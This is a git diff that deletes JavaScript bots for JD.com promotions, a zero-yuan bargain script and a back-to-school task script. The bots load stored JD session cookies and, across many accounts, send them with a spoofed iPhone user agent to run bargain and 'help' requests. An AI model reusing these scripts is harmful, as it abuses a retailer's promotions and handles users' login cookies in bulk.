} - } else s = this.setval(t, e); - return s - } - getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } - setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } - initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { this.logErr(t) } - }).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); - else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { url: s, ...i } = t; - this.got.post(s, i).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { openUrl: e, mediaUrl: s } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { "open-url": e, "media-url": s } - } - if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { return new Promise(e => setTimeout(e, t)) } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} \ No newline at end of file diff --git a/backUp/jd_kanjia3.js b/backUp/jd_kanjia3.js deleted file mode 100644 index 7c874fc..0000000 --- a/backUp/jd_kanjia3.js +++ /dev/null @@ -1,399 +0,0 @@ -/* -第一步 运行脚本一次日志查看商品ID -获取你要砍价的ID后变量填写 -export skuId="这里填获取的商品ID" -第二部 再运行一次日志查看商品activityId变量填写 -export activity="这里填获取的商品activityId" -入口 京东 我的 0元砍价 -*/ -// [task_local] -// 30 */1 * * * - - -const $ = new Env('柠檬0元砍价'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -let skuId = ''; //你要参加砍价的商品ID -let activity = ''; //看日志查看你的activity 比如export activity="854366883120689152" -if (process.env.skuId) { - skuId = process.env.skuId; -} -if (process.env.activity) { - activity = process.env.activity; -} -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await list1() - await list() - await join() - for (let i = 0 ; i < 5; i++){ - await dotask(9,"") - await dotask(3,"") - await dotask(4,"") - await dotask(2,"810502,10025483,714532,") -} - await help() - await info() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -function list1() { - return new Promise(async (resolve) => { - - let options = { - url: `https://api.m.jd.com`, - - body: `functionId=queryHomePage&body={}&client=wh5&clientVersion=1.0.0`, -headers: { -"Origin": "https://h5.m.jd.com", -"Host": "api.m.jd.com", - "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Cookie": cookie, - } - } - - $.post(options, async (err, resp, data) => { - try { - - data = JSON.parse(data); - - - - if(data.msg == "success"){ - let taskList = data.canBargain - for (let i = 0 ; i < taskList.length; i++){ - - skuName = taskList[i].skuName - Id = taskList[i].skuId - allPrice = taskList[i].allPrice - $.log(`\n商品:${skuName}\n商品ID:${Id}\n商品价格: ${allPrice}`) - } - - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} -function list() { - return new Promise(async (resolve) => { - - let options = { - url: `https://api.m.jd.com`, - - body: `functionId=queryBargainGoods&body={"pageNo":0,"source":0,"skuId":""}&client=wh5&clientVersion=1.0.0`, -headers: { -"Origin": "https://h5.m.jd.com", -"Host": "api.m.jd.com", - "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Cookie": cookie, - } - } - - $.post(options, async (err, resp, data) => { - try { - - data = JSON.parse(data); - - - - if(data.msg == "success"){ - let taskList = data.bargainGoods - for (let i = 0 ; i < taskList.length; i++){ - - skuName = taskList[i].skuName - Id = taskList[i].skuId - allPrice = taskList[i].allPrice - $.log(`\n商品:${skuName}\n商品ID:${Id}\n商品价格: ${allPrice}`) - } - - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function join() { - return new Promise(async (resolve) => { - - let options = { - url: `https://api.m.jd.com`, - - body: `functionId=cutPriceBySelf&body={"skuId":"${skuId}","useCoupon":1}&client=wh5&clientVersion=1.0.0`, -headers: { -"Origin": "https://h5.m.jd.com", -"Host": "api.m.jd.com", - "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Cookie": cookie, - } - } - - $.post(options, async (err, resp, data) => { - try { - - data = JSON.parse(data); - - - - if(data.msg == "success"){ - - - activityId = data.activityId - - $.log(`\n商品activityId:${activityId}\n还差砍价:${data.proportion}`) - - - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function dotask(taskId,taskInfo) { - return new Promise(async (resolve) => { - - let options = { - url: `https://api.m.jd.com`, - - body: `functionId=cutPriceByTask&body={"activityId":"${activityId}","taskId":${taskId},"taskInfo":"${taskInfo}"}&client=wh5&clientVersion=1.0.0`, -headers: { -"Origin": "https://h5.m.jd.com", -"Host": "api.m.jd.com", - "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Cookie": cookie, - } - } - - $.post(options, async (err, resp, data) => { - try { - - data = JSON.parse(data); - - - - if(data.status == 0){ - - $.log(`\n砍价任务砍掉:${data.cutPrice}`) -}else if(data.status == 1){ - $.log(`\n砍价任务已经完成`) -} - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - -function help() { - return new Promise(async (resolve) => { - - let options = { - url: `https://api.m.jd.com`, - - body: `functionId=cutPriceByUser&body={"activityId":"${activity}","userName":"","followShop":0,"shopId":662265,"userPic":""}&client=wh5&clientVersion=1.0.0`, -headers: { -"Origin": "https://h5.m.jd.com", -"Host": "api.m.jd.com", - "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Cookie": cookie, - } - } - - $.post(options, async (err, resp, data) => { - try { - - data = JSON.parse(data); - - - - if(data.status == 0){ - $.log(`\n这位兄弟帮你砍了:${data.cutPrice}`) - }else if(data.status == 1){ - $.log(`\n这位兄弟已经帮你砍过了`) -} - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - -function info() { - return new Promise(async (resolve) => { - - let options = { - url: `https://api.m.jd.com`, - - body: `functionId=bargainDetail&body={"activityId":"${activityId}","sku":"${skuId}"}&client=wh5&clientVersion=1.0.0`, -headers: { -"Origin": "https://h5.m.jd.com", -"Host": "api.m.jd.com", - "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Cookie": cookie, - } - } - - $.post(options, async (err, resp, data) => { - try { - - data = JSON.parse(data); - - - - if(data.bargainDetailInfoVo.status == 0){ - $.log(`\n还差:${data.bargainDetailInfoVo.bargainInfoVo.remainPrice}就砍到了`) - }else if(data.status == 1){ - $.log(`\n查询失败 请检查是否正确填写商品变量`) -} - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - - - - - - - - - - - - - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_kxcdz.js b/backUp/jd_kxcdz.js deleted file mode 100644 index 87042db..0000000 --- a/backUp/jd_kxcdz.js +++ /dev/null @@ -1,439 +0,0 @@ -/* - -#开学充电站 -30 1 * * * jd_kxcdz.js, tag= 开学充电站 - -*/ -const $ = new Env('开学充电站') -const notify = $.isNode() ?require('./sendNotify') : ''; -cookiesArr = [] -CodeArr = [] -cookie = '' -var list2tokenArr = [],list4tokenArr = [],list6tokenArr = [],list5tokenArr = [],list4tokenArr = [],list3tokenArr = [],list1tokenArr = [],list2tokenArr = [],listtokenArr = [],list0tokenArr = [],list1tokenArr = [] -var taskid,token,helpcode; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -let tz = ($.getval('tz') || '1');//0关闭通知,1默认开启 -const invite=1;//新用户自动邀请,0关闭,1默认开启 -const logs =0;//0为关闭日志,1为开启 -var hour='' -var minute='' -if ($.isNode()) { - hour = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getHours(); - minute = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getMinutes(); -}else{ - hour = (new Date()).getHours(); - minute = (new Date()).getMinutes(); -} -//CK运行 -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i =0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - message = '' - $.isLogin = true; - $.index = i + 1; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await gethelpcode() - await getlist() - await Ariszy() - await zy() - await Zy() - } -for(let i = 0; i < cookiesArr.length; i++){ - cookie = cookiesArr[i]; - $.UserName = 